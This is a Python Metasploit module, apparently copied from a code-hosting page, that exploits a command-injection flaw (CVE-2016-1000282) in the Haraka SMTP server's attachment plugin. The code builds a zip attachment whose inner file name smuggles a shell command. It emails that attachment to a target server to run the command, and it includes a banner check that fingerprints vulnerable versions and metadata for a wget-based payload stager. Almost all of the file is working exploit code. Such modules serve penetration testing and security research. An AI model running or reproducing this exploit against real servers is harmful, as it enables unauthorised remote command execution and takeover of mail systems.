143 lines
5.1 KiB
Python
Executable File
143 lines
5.1 KiB
Python
Executable File
#!/usr/bin/env python2.7
|
|
|
|
# Vendor Homepage: https://haraka.github.io/
|
|
# Software Link: https://github.com/haraka/Haraka
|
|
# Exploit github: http://github.com/outflankbv/Exploits/
|
|
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
|
|
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
|
|
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
|
|
# Tested versions: 2.8.8 and 2.7.2
|
|
# Thanks to: Dexlab.nl for asking me to look at Haraka.
|
|
|
|
import smtplib
|
|
import re
|
|
from distutils.version import StrictVersion
|
|
from email.mime.application import MIMEApplication
|
|
from email.mime.multipart import MIMEMultipart
|
|
from email.utils import COMMASPACE, formatdate
|
|
from email.header import Header
|
|
from email.utils import formataddr
|
|
from email.mime.text import MIMEText
|
|
from datetime import datetime
|
|
import zipfile
|
|
import StringIO
|
|
from metasploit import module
|
|
|
|
metadata = {
|
|
'name': 'Haraka SMTP Command Injection',
|
|
'description': '''
|
|
The Haraka SMTP server comes with a plugin for processing attachments.
|
|
Versions before 2.8.9 can be vulnerable to command injection
|
|
''',
|
|
'authors': ['xychix <xychix[AT]hotmail.com>', 'smfreegard', 'Adam Cammack <adam_cammack[AT]rapid7.com>'],
|
|
'date': '2017-01-26',
|
|
'references': [
|
|
{'type': 'cve', 'ref': '2016-1000282'},
|
|
{'type': 'edb', 'ref': '41162'},
|
|
{'type': 'url', 'ref': 'https://github.com/haraka/Haraka/pull/1606'},
|
|
],
|
|
'type': 'remote_exploit_cmd_stager',
|
|
'rank': 'excellent',
|
|
'wfsdelay': 5,
|
|
'privileged': True,
|
|
'targets': [
|
|
{'platform': 'linux', 'arch': 'x64'},
|
|
{'platform': 'linux', 'arch': 'x86'}
|
|
],
|
|
'payload': {
|
|
'command_stager_flavor': 'wget'
|
|
},
|
|
'options': {
|
|
'email_to': {'type': 'string', 'description': 'Email to send to, must be accepted by the server', 'required': True, 'default': 'admin@localhost'},
|
|
'email_from': {'type': 'string', 'description': 'Address to send from', 'required': True, 'default': 'foo@example.com'},
|
|
'rhost': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
|
|
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25},
|
|
'command': {'type': 'string', 'description': 'Command to run on the target', 'required': True, 'default': '/bin/echo hello'}
|
|
},
|
|
'notes': {
|
|
'AKA': ['Harakiri']
|
|
}}
|
|
|
|
|
|
def send_mail(to, mailserver, cmd, mfrom, port):
|
|
msg = MIMEMultipart()
|
|
html = "harakiri"
|
|
msg['Subject'] = "harakiri"
|
|
msg['From'] = mfrom
|
|
msg['To'] = to
|
|
msg.attach(MIMEText(html))
|
|
module.log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug')
|
|
part = MIMEApplication(create_zip(cmd),Name="harakiri.zip")
|
|
part['Content-Disposition'] = 'attachment; filename="harakiri.zip"'
|
|
msg.attach(part)
|
|
module.log("Sending mail to target server...")
|
|
module.log(msg.as_string(), 'debug')
|
|
s = smtplib.SMTP(mailserver, port)
|
|
try:
|
|
resp = s.sendmail(mfrom, to, msg.as_string())
|
|
except smtplib.SMTPDataError as err:
|
|
if err[0] == 450:
|
|
module.log("Triggered bug in target server (%s)"%err[1], 'good')
|
|
s.close()
|
|
return(True)
|
|
module.log("Bug not triggered in target server", 'error')
|
|
module.log("it may not be vulnerable or have the attachment plugin activated", 'error')
|
|
s.close()
|
|
return(False)
|
|
|
|
|
|
class InMemoryZip(object):
|
|
def __init__(self):
|
|
self.in_memory_zip = StringIO.StringIO()
|
|
def append(self, filename_in_zip, file_contents):
|
|
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
|
|
zf.writestr(filename_in_zip, file_contents)
|
|
for zfile in zf.filelist:
|
|
zfile.create_system = 0
|
|
return self
|
|
def read(self):
|
|
self.in_memory_zip.seek(0)
|
|
return self.in_memory_zip.read()
|
|
|
|
|
|
def create_zip(cmd="touch /tmp/harakiri"):
|
|
z1 = InMemoryZip()
|
|
z2 = InMemoryZip()
|
|
z2.append("harakiri.txt",
|
|
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.")
|
|
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
|
|
return(z1.read())
|
|
|
|
|
|
def check_banner(args):
|
|
module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug')
|
|
c = smtplib.SMTP()
|
|
try:
|
|
(code, banner) = c.connect(args['rhost'], int(args['rport']))
|
|
except:
|
|
return 'unknown'
|
|
|
|
c.quit()
|
|
|
|
if code == 220 and 'Haraka' in banner:
|
|
versions = re.findall('(\d+\.\d+\.\d+)', banner)
|
|
if versions:
|
|
if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
|
|
return 'appears'
|
|
else:
|
|
return 'safe'
|
|
else:
|
|
return 'detected'
|
|
elif code == 220:
|
|
return 'detected'
|
|
else:
|
|
return 'unknown'
|
|
|
|
|
|
def exploit(args):
|
|
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
|
|
|
|
|
|
if __name__ == '__main__':
|
|
module.run(metadata, exploit, soft_check=check_banner)
|